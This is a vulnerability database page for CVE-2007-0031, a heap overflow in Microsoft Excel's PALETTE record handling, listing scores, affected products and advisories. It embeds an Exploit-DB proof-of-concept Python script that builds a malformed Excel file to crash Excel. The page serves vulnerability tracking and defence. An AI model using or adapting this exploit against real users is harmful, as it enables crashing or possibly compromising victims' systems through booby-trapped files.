CVE-2007-0031 : Detail

CVE-2007-0031

94.52%V3
Network
2007-01-09
22h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Heap-based buffer overflow in Microsoft Excel 2000 SP3, 2002 SP3, 2003 SP2, 2004 for Mac, and v.X for Mac allows user-assisted remote attackers to execute arbitrary code via a BIFF8 spreadsheet with a PALETTE record that contains a large number of entries.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3193

Publication date : 2007-01-24 23h00 +00:00
Author : LifeAsaGeek
EDB Verified : Yes

""" MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC ###### Author ###### LifeAsaGeek at gmail.com ... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs ######################## Vulnerablity Description ######################## Bound error occurs when parsing Palette Record and it causes Heap Overflow check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506 which is generated by DarunGrim ( and I want to say I'm not a person who made this analyzer ==; ) ############# Attack Vector ############# Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status ! Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere ) In *CERTAIN* environment( such as open excel file which is already opened) you can catch the flow by modify function pointer, but it doesn't have a reliablity at all Let me know if you have a good method to break down ###### Result ###### DOS ##### Notes ##### You should modify pyExcelerator module because it doesn't generate Palette Record pyExcelerator diff results would be like below diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py 1104a1105,1108 > def __init__(self): > BiffRecord.__init__(self) > self._rec_data = pack('<H', 0x0038) # number of colours > self._rec_data += 'A' * 0xe0 diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py 468,469c468 < result = '' < return result --- > return BIFFRecords.PaletteRecord().get() !! THIS IS ONLY FOR EDUCATIONAL PURPOSE !! - 2007.01.25 """ import sys, os from struct import * from pyExcelerator import * def CreateXLS(): w = Workbook() ws = w.add_sheet('MS07-002 POC') w.save( "before.xls") def ModifyXLS(): try: f = open( "before.xls", "rb") except: print "File Open Error ! " sys.exit(0) str = f.read() f.close() #write to malformed xls file f = open( "after.xls", "wb") PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038) NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF) palette_idx = str.find( PaletteRecord) if palette_idx == -1: print "Cannot find Palette Record" sys.exit(0) str = str.replace( PaletteRecord, NewPaletteRecord) f.write( str) f.close() if __name__ == "__main__": print "===========================================================" print "MS07-002 Malformed Palette Record vulnerability DOS POC " print "Create POC Excel File after.xls" print "by LifeAsaGeek at gmail.com" print "===========================================================" CreateXLS() ModifyXLS() # milw0rm.com [2007-01-25]

Products Mentioned

Configuraton 0

Microsoft>>Excel >> Version 2000

Microsoft>>Office >> Version 2000

Configuraton 0

Microsoft>>Excel >> Version 2002

Microsoft>>Office >> Version xp

Configuraton 0

Microsoft>>Excel >> Version 2003

Microsoft>>Office >> Version 2003

Configuraton 0

Microsoft>>Excel_viewer >> Version 2003

Microsoft>>Works >> Version 2004

Microsoft>>Works >> Version 2005

Configuraton 0

Microsoft>>Office >> Version 2004

Microsoft>>Office >> Version v.x

    References

    http://www.us-cert.gov/cas/techalerts/TA07-009A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=461
    Tags : third-party-advisory, x_refsource_IDEFENSE
    http://securitytracker.com/id?1017487
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.osvdb.org/31258
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/21922
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2007/0103
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.kb.cert.org/vuls/id/625532
    Tags : third-party-advisory, x_refsource_CERT-VN